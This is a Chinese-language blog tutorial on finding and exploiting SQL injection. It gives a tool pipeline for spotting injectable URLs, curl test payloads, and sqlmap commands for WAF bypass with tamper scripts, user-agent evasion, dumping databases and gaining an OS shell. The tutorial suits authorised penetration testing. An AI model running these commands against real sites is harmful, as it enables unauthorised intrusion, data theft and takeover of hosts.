文章总结: 本文档详述SQL注入的进阶检测与利用。通过gau、httpx等工具链自动化发现潜在漏洞并筛选报错,结合SQLMap高级参数进行深度挖掘,涵盖WAF绕过、数据提取及OSShell获取等实战技巧,为安全测试提供了高效的技术方案。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞分析
SQL 注入检测与利用进阶指南
原创
01iver Sec
01iver的安全小圈
2026年1月15日 07:00 北京
#
在本指南中,我们将深入探讨一种更高级的 SQL 注入漏洞检测方法,并借助 SQLMap 工具高效利用此类漏洞。该方法能更精准地定位存在漏洞的端点,实现针对性的漏洞利用,适用于多种数据库系统。
步骤 1:自动化发现 SQL 注入点
为简化 SQL 注入点的识别流程,我们将组合使用多款工具并执行以下命令:
命令echo "http://<目标地址>/" | gau | uro | grep "\?" | sed "s/=.*/=A'/" | uniq > params.txt;cat params.txt | httpx -mc 200 -mr ".*SQL.*|.*syntax.*|.*error.*" -silent
#
命令解析
-
gau(https://github.com/lc/gau)
:获取目标站点的完整端点列表。
-
uro(https://github.com/s0md3v/uro)
:移除重复的 URL,降低冗余度。
-
grep “?”
:仅筛选包含参数的端点(URL 中带?通常表示存在请求参数)。
-
sed
:将参数值替换为典型的 SQL 注入测试载荷 =A’,用于触发数据库语法错误。
-
uniq
:确保最终记录的端点不存在重复项。
-
httpx
:对每个端点进行探测,仅输出状态码为 200 的请求结果(-mc 200 指定匹配状态码)。
-
-mr(https://github.com/projectdiscovery/httpx)
:匹配响应内容中包含 SQL 错误特征的字符串(如 SQL、syntax、error)。
-
-silent
:启用静默模式,减少无关输出,让结果更简洁。
实用技巧
可扩展正则匹配规则,加入更多数据库错误特征关键词,提升检测准确率:
-mr “.SQL.|.syntax.|.error.|.database.|.ODBC.|.mysqli.|.MySQL.|.pgSQL.“
步骤 2:结果分析
执行上述命令后,你会得到一份潜在漏洞端点列表。为进一步验证漏洞真实性,可使用以下简单载荷进行手动检测:
手动测试载荷curl -s "http://<目标地址>/vuln?param=1'" | grep -i "SQL syntax"curl -s "http://<目标地址>/vuln?param=-1 UNION SELECT 1,2,3" | grep -i "SQL syntax"
#
若响应内容中包含 SQL 语法错误 或相关提示信息,则说明该端点大概率存在 SQL 注入漏洞,可进入下一步漏洞利用环节。
步骤 3:利用 SQLMap 开展高级漏洞利用
确认潜在漏洞后,即可使用 SQLMap 进行漏洞利用。可通过指定数据库类型、提高检测级别和风险等级,实现深度漏洞分析。
命令sqlmap -u "http://<目标地址>/vuln?param=A" -p param --dbms=MSSQL --level 5 --risk 3 --banner --batch --random-agent --tamper=space2comment
#
参数解析
| | | | — | — | | 参数 | 功能说明 | | -p param | 指定待测试的漏洞参数 | | –dbms=MSSQL | 指定目标数据库类型(支持 MSSQL、MySQL、PostgreSQL 等) | | –level 5 –risk 3 | 将检测级别和风险等级设为最高,实现最全面的漏洞探测(级别越高,测试用例越多;风险越高,越可能对目标造成影响) | | –banner | 获取数据库的版本信息等标识内容 | | –batch | 启用批处理模式,跳过交互式确认步骤,自动执行操作 | | –random-agent | 使用随机生成的用户代理(User-Agent),规避目标站点的基础检测机制 | | –tamper=space2comment | 启用 space2comment 脚本对载荷进行混淆,将空格替换为注释格式,绕过 Web 应用防火墙(WAF)或输入过滤规则 |
步骤 4:从数据库中提取数据
确认漏洞存在后,即可执行数据提取操作。通过以下命令可枚举数据库、导出数据表及数据内容:
1. 枚举所有数据库sqlmap -u "http://<目标地址>/vuln?param=A" -p param --dbs2. 导出指定数据库中的所有数据表sqlmap -u "http://<目标地址>/vuln?param=A" -p param -D 数据库名称 --tables3. 导出指定数据表中的所有数据sqlmap -u "http://<目标地址>/vuln?param=A" -p param -D 数据库名称 -T 数据表名称 --dump
#
高级技巧
1. WAF 绕过
组合使用多款 tamper 脚本对注入载荷进行多层混淆,提升绕过成功率:
–tamper=space2comment,between,percentage
-
space2comment:空格替换为注释
-
between:利用 BETWEEN 函数替代比较运算符
-
percentage:添加百分号 % 混淆载荷特征
2. 流量监控代理
集成 Burp Suite 工具对注入过程中的流量进行实时监控与分析:
–proxy=http://127.0.0.1:8080
(需提前将 Burp Suite 的代理端口配置为 8080)
3. 获取操作系统 Shell
若目标数据库支持命令执行功能,可直接获取目标主机的操作系统 Shell:
sqlmap -u “http://<目标地址>/vuln?param=A” -p param –os-shell
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:01iver的安全小圈 01iver Sec《SQL 注入检测与利用进阶指南》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论